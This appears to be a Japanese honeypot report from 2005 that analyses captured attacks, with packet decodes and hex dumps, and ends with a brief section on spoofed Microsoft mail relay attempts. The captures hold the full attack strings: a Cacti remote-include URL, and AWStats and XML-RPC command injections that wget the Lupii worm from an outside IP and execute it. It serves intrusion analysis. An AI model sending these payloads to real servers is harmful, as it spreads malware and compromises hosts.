Request URI: /cacti/include/config_settings.php?config[include_path]=http://www.geocities.com/trustopt/t.txt?
Request Version: HTTP/1.1
Accept: */*\r\n
Accept-Language: en-us\r\n
Accept-Encoding: gzip, deflate\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)\r\n
Host: 203.87.152.38\r\n
Connection: Close\r\n
\r\n

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 01 4e 0f 93 40 00 30 06 0e 6a 41 cb 86 64 cb 57 .N..@.0..jA..d.W
0020 98 26 e7 fc 00 50 0a b1 96 17 25 a9 38 5e 80 18 .&...P....%.8^..
0030 16 d0 44 3d 00 00 01 01 08 0a e0 b3 9a 31 00 00 ..D=.........1..
0040 00 00 47 45 54 20 2f 63 61 63 74 69 2f 69 6e 63 ..GET /cacti/inc
0050 6c 75 64 65 2f 63 6f 6e 66 69 67 5f 73 65 74 74 lude/config_sett
0060 69 6e 67 73 2e 70 68 70 3f 63 6f 6e 66 69 67 5b ings.php?config[
0070 69 6e 63 6c 75 64 65 5f 70 61 74 68 5d 3d 68 74 include_path]=ht
0080 74 70 3a 2f 2f 77 77 77 2e 67 65 6f 63 69 74 69 tp://www.geociti
0090 65 73 2e 63 6f 6d 2f 74 72 75 73 74 6f 70 74 2f es.com/trustopt/
00a0 74 2e 74 78 74 3f 20 48 54 54 50 2f 31 2e 31 0d t.txt? HTTP/1.1.
00b0 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 41 63 .Accept: */*..Ac
00c0 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 cept-Language: e
00d0 6e 2d 75 73 0d 0a 41 63 63 65 70 74 2d 45 6e 63 n-us..Accept-Enc
00e0 6f 64 69 6e 67 3a 20 67 7a 69 70 2c 20 64 65 66 oding: gzip, def
00f0 6c 61 74 65 0d 0a 55 73 65 72 2d 41 67 65 6e 74 late..User-Agent
0100 3a 20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 : Mozilla/4.0 (c
0110 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 ompatible; MSIE
0120 36 2e 30 3b 20 57 69 6e 64 6f 77 73 20 39 38 29 6.0; Windows 98)
0130 0d 0a 48 6f 73 74 3a 20 32 30 33 2e 38 37 2e 31 ..Host: 203.87.1
0140 35 32 2e 33 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f 52.38..Connectio
0150 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a n: Close....

【情報】awstatsとxmlrpcの脆弱性に対する攻撃

■コメント
awstatsとxmlrpcの脆弱性に対する攻撃を11月4日から現在まで、awstatsとxmlrpcの脆弱性に対する攻撃を受けています。
同じ攻撃の2つの異なる亜種を捕らえました。
主な違いは、使用されるウィルスである。lupii、PlupiiかLupperワームと呼ばれるウィルスが使用される。
"/cgi-bin/awstats.pl?configdir=|echo;echo YYY;cd /tmp;wget 62.101.193.244/lupii;chmod +x lupii;./lupii 62.101.193.244;echo YYY;echo|"
"/awstats/awstats.pl?configdir=|echo;echo YYY;cd /tmp;wget 24.224.174.18/listen;chmod +x listen;./listen 216.102.212.115;echo YYY;echo|"

ダウンロードするのにawstats configdirのリモートコードインジェクションの脆弱性を使用するlupiiタイプとほとんど同じです。
以下の パケットで実際の攻撃を調べることができます。

■実際のパケット
No. Time Source Destination Protocol Info
25175 2005-11-19 16:36:24.431049 xxx.22.51.9 xxx.87.152.38 HTTP GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|

This is an ACK to the segment in frame: 25174
The RTT to ACK the segment was: 0.487994000 seconds
Hypertext Transfer Protocol
GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Request Method: GET
Request URI: /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 e5 eb c2 40 00 27 06 2d b3 a3 16 33 09 cb 57 ....@.'.-...3..W
0020 98 26 0d a8 00 50 0a 49 63 21 ae 8a 05 a5 80 18 .&...P.Ic!......
0030 3e bc 43 15 00 00 01 01 08 0a 1b 1d 71 ef 00 00 >.C.........q...
0040 00 00 47 45 54 20 2f 63 67 69 2d 62 69 6e 2f 61 ..GET /cgi-bin/a
0050 77 73 74 61 74 73 2e 70 6c 3f 63 6f 6e 66 69 67 wstats.pl?config
0060 64 69 72 3d 7c 65 63 68 6f 3b 65 63 68 6f 25 32 dir=|echo;echo%2
0070 30 59 59 59 3b 63 64 25 32 30 25 32 66 74 6d 70 0YYY;cd%20%2ftmp
0080 25 33 62 77 67 65 74 25 32 30 36 32 25 32 65 31 %3bwget%2062%2e1
0090 30 31 25 32 65 31 39 33 25 32 65 32 34 34 25 32 01%2e193%2e244%2
00a0 66 6c 75 70 69 69 25 33 62 63 68 6d 6f 64 25 32 flupii%3bchmod%2
00b0 30 25 32 62 78 25 32 30 6c 75 70 69 69 25 33 62 0%2bx%20lupii%3b
00c0 25 32 65 25 32 66 6c 75 70 69 69 25 32 30 36 32 %2e%2flupii%2062
00d0 25 32 65 31 30 31 25 32 65 31 39 33 25 32 65 32 %2e101%2e193%2e2
00e0 34 34 3b 65 63 68 6f 25 32 30 59 59 59 3b 65 63 44;echo%20YYY;ec
00f0 68 6f 7c ho|

No. Time Source Destination Protocol Info
25188 2005-11-19 16:36:25.564071 xxx.22.51.9 xxx.87.152.38 HTTP GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|

Time stamp: tsval 454914693, tsecr 0
Hypertext Transfer Protocol
GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Request Method: GET
Request URI: /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 e5 ec 9b 40 00 27 06 2c da a3 16 33 09 cb 57 ....@.'.,...3..W
0020 98 26 0d bc 00 50 0a fc b9 a4 ae 8f c4 c8 80 18 .&...P..........
0030 3e bc c9 ff 00 00 01 01 08 0a 1b 1d 72 85 00 00 >...........r...
0040 00 00 47 45 54 20 2f 61 77 73 74 61 74 73 2f 61 ..GET /awstats/a
0050 77 73 74 61 74 73 2e 70 6c 3f 63 6f 6e 66 69 67 wstats.pl?config
0060 64 69 72 3d 7c 65 63 68 6f 3b 65 63 68 6f 25 32 dir=|echo;echo%2
0070 30 59 59 59 3b 63 64 25 32 30 25 32 66 74 6d 70 0YYY;cd%20%2ftmp
0080 25 33 62 77 67 65 74 25 32 30 36 32 25 32 65 31 %3bwget%2062%2e1
0090 30 31 25 32 65 31 39 33 25 32 65 32 34 34 25 32 01%2e193%2e244%2
00a0 66 6c 75 70 69 69 25 33 62 63 68 6d 6f 64 25 32 flupii%3bchmod%2
00b0 30 25 32 62 78 25 32 30 6c 75 70 69 69 25 33 62 0%2bx%20lupii%3b
00c0 25 32 65 25 32 66 6c 75 70 69 69 25 32 30 36 32 %2e%2flupii%2062
00d0 25 32 65 31 30 31 25 32 65 31 39 33 25 32 65 32 %2e101%2e193%2e2
00e0 34 34 3b 65 63 68 6f 25 32 30 59 59 59 3b 65 63 44;echo%20YYY;ec
00f0 68 6f 7c ho|

No. Time Source Destination Protocol Info
25198 2005-11-19 16:36:27.465376 xxx.22.51.9 xxx.87.152.38 HTTP GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|

Time stamp: tsval 454914847, tsecr 0
Hypertext Transfer Protocol
GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Request Method: GET
Request URI: /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 ed ed 1a 40 00 27 06 2c 53 a3 16 33 09 cb 57 ....@.'.,S..3..W
0020 98 26 0d ca 00 50 0a b8 2f 33 ae 95 e8 5f 80 18 .&...P../3..._..
0030 3e bc 02 cb 00 00 01 01 08 0a 1b 1d 73 1f 00 00 >...........s...
0040 00 00 47 45 54 20 2f 63 67 69 2d 62 69 6e 2f 61 ..GET /cgi-bin/a
0050 77 73 74 61 74 73 2f 61 77 73 74 61 74 73 2e 70 wstats/awstats.p
0060 6c 3f 63 6f 6e 66 69 67 64 69 72 3d 7c 65 63 68 l?configdir=|ech
0070 6f 3b 65 63 68 6f 25 32 30 59 59 59 3b 63 64 25 o;echo%20YYY;cd%
0080 32 30 25 32 66 74 6d 70 25 33 62 77 67 65 74 25 20%2ftmp%3bwget%
0090 32 30 36 32 25 32 65 31 30 31 25 32 65 31 39 33 2062%2e101%2e193
00a0 25 32 65 32 34 34 25 32 66 6c 75 70 69 69 25 33 %2e244%2flupii%3
00b0 62 63 68 6d 6f 64 25 32 30 25 32 62 78 25 32 30 bchmod%20%2bx%20
00c0 6c 75 70 69 69 25 33 62 25 32 65 25 32 66 6c 75 lupii%3b%2e%2flu
00d0 70 69 69 25 32 30 36 32 25 32 65 31 30 31 25 32 pii%2062%2e101%2
00e0 65 31 39 33 25 32 65 32 34 34 3b 65 63 68 6f 25 e193%2e244;echo%
00f0 32 30 59 59 59 3b 65 63 68 6f 7c 20YYY;echo|

No. Time Source Destination Protocol Info
25209 2005-11-19 16:36:29.194090 xxx.22.51.9 xxx.87.152.38 HTTP GET /cgi/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|

Time stamp: tsval 454914995, tsecr 0
Hypertext Transfer Protocol
GET /cgi/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Request Method: GET
Request URI: /cgi/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 e9 ed 89 40 00 27 06 2b e8 a3 16 33 09 cb 57 ....@.'.+...3..W
0020 98 26 0d e4 00 50 0a a5 7d 22 ae 9b b4 29 80 18 .&...P..}"...)..
0030 3e bc 7f 45 00 00 01 01 08 0a 1b 1d 73 b3 00 00 >..E........s...
0040 00 00 47 45 54 20 2f 63 67 69 2f 61 77 73 74 61 ..GET /cgi/awsta
0050 74 73 2f 61 77 73 74 61 74 73 2e 70 6c 3f 63 6f ts/awstats.pl?co
0060 6e 66 69 67 64 69 72 3d 7c 65 63 68 6f 3b 65 63 nfigdir=|echo;ec
0070 68 6f 25 32 30 59 59 59 3b 63 64 25 32 30 25 32 ho%20YYY;cd%20%2
0080 66 74 6d 70 25 33 62 77 67 65 74 25 32 30 36 32 ftmp%3bwget%2062
0090 25 32 65 31 30 31 25 32 65 31 39 33 25 32 65 32 %2e101%2e193%2e2
00a0 34 34 25 32 66 6c 75 70 69 69 25 33 62 63 68 6d 44%2flupii%3bchm
00b0 6f 64 25 32 30 25 32 62 78 25 32 30 6c 75 70 69 od%20%2bx%20lupi
00c0 69 25 33 62 25 32 65 25 32 66 6c 75 70 69 69 25 i%3b%2e%2flupii%
00d0 32 30 36 32 25 32 65 31 30 31 25 32 65 31 39 33 2062%2e101%2e193
00e0 25 32 65 32 34 34 3b 65 63 68 6f 25 32 30 59 59 %2e244;echo%20YY
00f0 59 3b 65 63 68 6f 7c Y;echo|

No. Time Source Destination Protocol Info
25218 2005-11-19 16:36:30.829377 xxx.22.51.9 xxx.87.152.38 HTTP GET /scripts/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|

Time stamp: tsval 454915147, tsecr 0
Hypertext Transfer Protocol
GET /scripts/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Request Method: GET
Request URI: /scripts/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 e5 ee 6a 40 00 27 06 2b 0b a3 16 33 09 cb 57 ...j@.'.+...3..W
0020 98 26 0d f5 00 50 0a d6 fb 01 ae a1 c5 b5 80 18 .&...P..........
0030 3e bc a4 aa 00 00 01 01 08 0a 1b 1d 74 4b 00 00 >...........tK..
0040 00 00 47 45 54 20 2f 73 63 72 69 70 74 73 2f 61 ..GET /scripts/a
0050 77 73 74 61 74 73 2e 70 6c 3f 63 6f 6e 66 69 67 wstats.pl?config
0060 64 69 72 3d 7c 65 63 68 6f 3b 65 63 68 6f 25 32 dir=|echo;echo%2
0070 30 59 59 59 3b 63 64 25 32 30 25 32 66 74 6d 70 0YYY;cd%20%2ftmp
0080 25 33 62 77 67 65 74 25 32 30 36 32 25 32 65 31 %3bwget%2062%2e1
0090 30 31 25 32 65 31 39 33 25 32 65 32 34 34 25 32 01%2e193%2e244%2
00a0 66 6c 75 70 69 69 25 33 62 63 68 6d 6f 64 25 32 flupii%3bchmod%2
00b0 30 25 32 62 78 25 32 30 6c 75 70 69 69 25 33 62 0%2bx%20lupii%3b
00c0 25 32 65 25 32 66 6c 75 70 69 69 25 32 30 36 32 %2e%2flupii%2062
00d0 25 32 65 31 30 31 25 32 65 31 39 33 25 32 65 32 %2e101%2e193%2e2
00e0 34 34 3b 65 63 68 6f 25 32 30 59 59 59 3b 65 63 44;echo%20YYY;ec
00f0 68 6f 7c ho|

No. Time Source Destination Protocol Info
25235 2005-11-19 16:36:32.702774 xxx.22.51.9 xxx.87.152.38 HTTP GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|

Time stamp: tsval 454915293, tsecr 0
Hypertext Transfer Protocol
GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Request Method: GET
Request URI: /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 ed ef db 40 00 27 06 29 92 a3 16 33 09 cb 57 ....@.'.)...3..W
0020 98 26 0e 0a 00 50 0b 2e 16 5b ae a7 7d be 80 18 .&...P...[..}...
0030 3e bc 83 be 00 00 01 01 08 0a 1b 1d 74 dd 00 00 >...........t...
0040 00 00 47 45 54 20 2f 63 67 69 2d 62 69 6e 2f 61 ..GET /cgi-bin/a
0050 77 73 74 61 74 73 2f 61 77 73 74 61 74 73 2e 70 wstats/awstats.p
0060 6c 3f 63 6f 6e 66 69 67 64 69 72 3d 7c 65 63 68 l?configdir=|ech
0070 6f 3b 65 63 68 6f 25 32 30 59 59 59 3b 63 64 25 o;echo%20YYY;cd%
0080 32 30 25 32 66 74 6d 70 25 33 62 77 67 65 74 25 20%2ftmp%3bwget%
0090 32 30 36 32 25 32 65 31 30 31 25 32 65 31 39 33 2062%2e101%2e193
00a0 25 32 65 32 34 34 25 32 66 6c 75 70 69 69 25 33 %2e244%2flupii%3
00b0 62 63 68 6d 6f 64 25 32 30 25 32 62 78 25 32 30 bchmod%20%2bx%20
00c0 6c 75 70 69 69 25 33 62 25 32 65 25 32 66 6c 75 lupii%3b%2e%2flu
00d0 70 69 69 25 32 30 36 32 25 32 65 31 30 31 25 32 pii%2062%2e101%2
00e0 65 31 39 33 25 32 65 32 34 34 3b 65 63 68 6f 25 e193%2e244;echo%
00f0 32 30 59 59 59 3b 65 63 68 6f 7c 20YYY;echo|

No. Time Source Destination Protocol Info
25247 2005-11-19 16:36:34.407072 xxx.22.51.9 xxx.87.152.38 HTTP GET /cgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|

Time stamp: tsval 454915443, tsecr 0
Hypertext Transfer Protocol
GET /cgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Request Method: GET
Request URI: /cgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 eb f0 68 40 00 27 06 29 07 a3 16 33 09 cb 57 ...h@.'.)...3..W
0020 98 26 0e 1b 00 50 0b 87 66 6f ae ae 32 04 80 18 .&...P..fo..2...
0030 3e bc f5 c0 00 00 01 01 08 0a 1b 1d 75 73 00 00 >...........us..
0040 00 00 47 45 54 20 2f 63 67 69 2d 62 69 6e 2f 73 ..GET /cgi-bin/s
0050 74 61 74 73 2f 61 77 73 74 61 74 73 2e 70 6c 3f tats/awstats.pl?
0060 63 6f 6e 66 69 67 64 69 72 3d 7c 65 63 68 6f 3b configdir=|echo;
0070 65 63 68 6f 25 32 30 59 59 59 3b 63 64 25 32 30 echo%20YYY;cd%20
0080 25 32 66 74 6d 70 25 33 62 77 67 65 74 25 32 30 %2ftmp%3bwget%20
0090 36 32 25 32 65 31 30 31 25 32 65 31 39 33 25 32 62%2e101%2e193%2
00a0 65 32 34 34 25 32 66 6c 75 70 69 69 25 33 62 63 e244%2flupii%3bc
00b0 68 6d 6f 64 25 32 30 25 32 62 78 25 32 30 6c 75 hmod%20%2bx%20lu
00c0 70 69 69 25 33 62 25 32 65 25 32 66 6c 75 70 69 pii%3b%2e%2flupi
00d0 69 25 32 30 36 32 25 32 65 31 30 31 25 32 65 31 i%2062%2e101%2e1
00e0 39 33 25 32 65 32 34 34 3b 65 63 68 6f 25 32 30 93%2e244;echo%20
00f0 59 59 59 3b 65 63 68 6f 7c YYY;echo|

No. Time Source Destination Protocol Info
25256 2005-11-19 16:36:36.234349 xxx.22.51.9 xxx.87.152.38 HTTP GET /stats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|

Time stamp: tsval 454915587, tsecr 0
Hypertext Transfer Protocol
GET /stats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Request Method: GET
Request URI: /stats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 e3 f0 c4 40 00 27 06 28 b3 a3 16 33 09 cb 57 ....@.'.(...3..W
0020 98 26 0e 2b 00 50 0b a6 06 91 ae b4 27 59 80 18 .&.+.P......'Y..
0030 3e bc 8d 2a 00 00 01 01 08 0a 1b 1d 76 03 00 00 >..*........v...
0040 00 00 47 45 54 20 2f 73 74 61 74 73 2f 61 77 73 ..GET /stats/aws
0050 74 61 74 73 2e 70 6c 3f 63 6f 6e 66 69 67 64 69 tats.pl?configdi
0060 72 3d 7c 65 63 68 6f 3b 65 63 68 6f 25 32 30 59 r=|echo;echo%20Y
0070 59 59 3b 63 64 25 32 30 25 32 66 74 6d 70 25 33 YY;cd%20%2ftmp%3
0080 62 77 67 65 74 25 32 30 36 32 25 32 65 31 30 31 bwget%2062%2e101
0090 25 32 65 31 39 33 25 32 65 32 34 34 25 32 66 6c %2e193%2e244%2fl
00a0 75 70 69 69 25 33 62 63 68 6d 6f 64 25 32 30 25 upii%3bchmod%20%
00b0 32 62 78 25 32 30 6c 75 70 69 69 25 33 62 25 32 2bx%20lupii%3b%2
00c0 65 25 32 66 6c 75 70 69 69 25 32 30 36 32 25 32 e%2flupii%2062%2
00d0 65 31 30 31 25 32 65 31 39 33 25 32 65 32 34 34 e101%2e193%2e244
00e0 3b 65 63 68 6f 25 32 30 59 59 59 3b 65 63 68 6f ;echo%20YYY;echo
00f0 7c |

No. Time Source Destination Protocol Info
25298 2005-11-19 16:36:51.272016 xxx.22.51.9 xxx.87.152.38 HTTP POST /xmlrpc/xmlrpc.php HTTP/1.1

POST /xmlrpc/xmlrpc.php HTTP/1.1\n
Request Method: POST
Request URI: /xmlrpc/xmlrpc.php
Request Version: HTTP/1.1
Host: 203.87.152.38\n
Content-Type: text/xml\n
Content-Length:269\n
\n
eXtensible Markup Language
<?xml version="1.0"?>
<methodCall>
<methodName>
test.method
</methodName>
<params>
<param>
<value>
<name>
',''));echo '_begin_';echo `cd /tmp;wget 62.101.193.244/lupii;chmod +x lupii;./lupii 62.101.193.244 `;echo '_end_';exit;/*
</name>
</value>
</param>
</params>
</methodCall>

0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 01 9c f6 97 40 00 27 06 22 27 a3 16 33 09 cb 57 ....@.'."'..3..W
0020 98 26 0f 08 00 50 0b e7 8d 8e ae d7 fe 45 80 18 .&...P.......E..
0030 3e bc b0 85 00 00 01 01 08 0a 1b 1d 7b 19 00 00 >...........{...
0040 00 00 50 4f 53 54 20 2f 78 6d 6c 72 70 63 2f 78 ..POST /xmlrpc/x
0050 6d 6c 72 70 63 2e 70 68 70 20 48 54 54 50 2f 31 mlrpc.php HTTP/1
0060 2e 31 0a 48 6f 73 74 3a 20 32 30 33 2e 38 37 2e .1.Host: 203.87.
0070 31 35 32 2e 33 38 0a 43 6f 6e 74 65 6e 74 2d 54 152.38.Content-T
0080 79 70 65 3a 20 74 65 78 74 2f 78 6d 6c 0a 43 6f ype: text/xml.Co
0090 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 32 36 39 ntent-Length:269
00a0 0a 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d ..<?xml version=
00b0 22 31 2e 30 22 3f 3e 3c 6d 65 74 68 6f 64 43 61 "1.0"?><methodCa
00c0 6c 6c 3e 3c 6d 65 74 68 6f 64 4e 61 6d 65 3e 74 ll><methodName>t
00d0 65 73 74 2e 6d 65 74 68 6f 64 3c 2f 6d 65 74 68 est.method</meth
00e0 6f 64 4e 61 6d 65 3e 3c 70 61 72 61 6d 73 3e 3c odName><params><
00f0 70 61 72 61 6d 3e 3c 76 61 6c 75 65 3e 3c 6e 61 param><value><na
0100 6d 65 3e 27 2c 27 27 29 29 3b 65 63 68 6f 20 27 me>',''));echo '
0110 5f 62 65 67 69 6e 5f 27 3b 65 63 68 6f 20 60 63 _begin_';echo `c
0120 64 20 2f 74 6d 70 3b 77 67 65 74 20 36 32 2e 31 d /tmp;wget 62.1
0130 30 31 2e 31 39 33 2e 32 34 34 2f 6c 75 70 69 69 01.193.244/lupii
0140 3b 63 68 6d 6f 64 20 2b 78 20 6c 75 70 69 69 3b ;chmod +x lupii;
0150 2e 2f 6c 75 70 69 69 20 36 32 2e 31 30 31 2e 31 ./lupii 62.101.1
0160 39 33 2e 32 34 34 20 60 3b 65 63 68 6f 20 27 5f 93.244 `;echo '_
0170 65 6e 64 5f 27 3b 65 78 69 74 3b 2f 2a 3c 2f 6e end_';exit;/*</n
0180 61 6d 65 3e 3c 2f 76 61 6c 75 65 3e 3c 2f 70 61 ame></value></pa
0190 72 61 6d 3e 3c 2f 70 61 72 61 6d 73 3e 3c 2f 6d ram></params></m
01a0 65 74 68 6f 64 43 61 6c 6c 3e ethodCall>

【情報】support@microsoft.comからフィッシングメールについて

■コメント

過去数カ月、明らかに偽の「support@microsoft.com 」からメッセージをリレーする試みを受けている。
この活動は去年の10月に最初に、検出されました。
試みは 深川、広東(中国)のCHINANET広東州ネットワークから来るように見えます。
フィッシングメールの種類であるかもしれません。
別の可能性は、繁殖するように同じアドレスからくる場合、 W32.Sobig.Bウィルスの送信を検出しているということです。
しかし、実際のメッセージがないので、本当にこの「攻撃」の本質はわかりません。

■実際のパケット

No. Time Source Destination Protocol Info
46288 2005-12-05 21:25:08.637971 xxx.87.152.38 xxx.18.40.229 SMTP Response: 220 nscindev Microsoft ESMTP MAIL Service, Version: 5.0.2195.6713 ready at Mon, 5 Dec 2005 13:35:17 +0800

Frame 46288 (175 bytes on wire, 175 bytes captured)
Ethernet II, Src: xxx.87.152.38 (00:0c:29:f3:5b:69), Dst: 172.16.255.65 (00:0d:48:1f:0c:56)
Internet Protocol, Src: xxx.87.152.38 (xxx.87.152.38), Dst: xxx.18.40.229 (xxx.18.40.229)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
Total Length: 161
Identification: 0x007b (123)
Flags: 0x04 (Don't Fragment)
Fragment offset: 0
Time to live: 128
Protocol: TCP (0x06)
Header checksum: 0x9366 [correct]
Source: xxx.87.152.38 (xxx.87.152.38)
Destination: xxx.18.40.229 (xxx.18.40.229)
Transmission Control Protocol, Src Port: smtp (25), Dst Port: 3857 (3857), Seq: 1, Ack: 1, Len: 109
Source port: smtp (25)
Destination port: 3857 (3857)
Sequence number: 1 (relative sequence number)
Next sequence number: 110 (relative sequence number)
Acknowledgement number: 1 (relative ack number)
Header length: 32 bytes
Flags: 0x0018 (PSH, ACK)
Window size: 64240
Checksum: 0x1914 [correct]
Options: (12 bytes)
Simple Mail Transfer Protocol

0000 00 0d 48 1f 0c 56 00 0c 29 f3 5b 69 08 00 45 00 ..H..V..).[i..E.
0010 00 a1 00 7b 40 00 80 06 93 66 cb 57 98 26 da 12 ...{@....f.W .&..
0020 28 e5 00 19 0f 11 db 24 34 6c ab ad 62 0c 80 18 (......$4l..b...
0030 fa f0 19 14 00 00 01 01 08 0a 00 00 1f b0 00 02 ................
0040 89 96 32 32 30 20 6e 73 63 69 6e 64 65 76 20 4d ..220 nscindev M
0050 69 63 72 6f 73 6f 66 74 20 45 53 4d 54 50 20 4d icrosoft ESMTP M
0060 41 49 4c 20 53 65 72 76 69 63 65 2c 20 56 65 72 AIL Service, Ver
0070 73 69 6f 6e 3a 20 35 2e 30 2e 32 31 39 35 2e 36 sion: 5.0.2195.6
0080 37 31 33 20 72 65 61 64 79 20 61 74 20 20 4d 6f 713 ready at Mo
0090 6e 2c 20 35 20 44 65 63 20 32 30 30 35 20 31 33 n, 5 Dec 2005 13
00a0 3a 33 35 3a 31 37 20 2b 30 38 30 30 20 0d 0a :35:17 +0800 ..

No. Time Source Destination Protocol Info
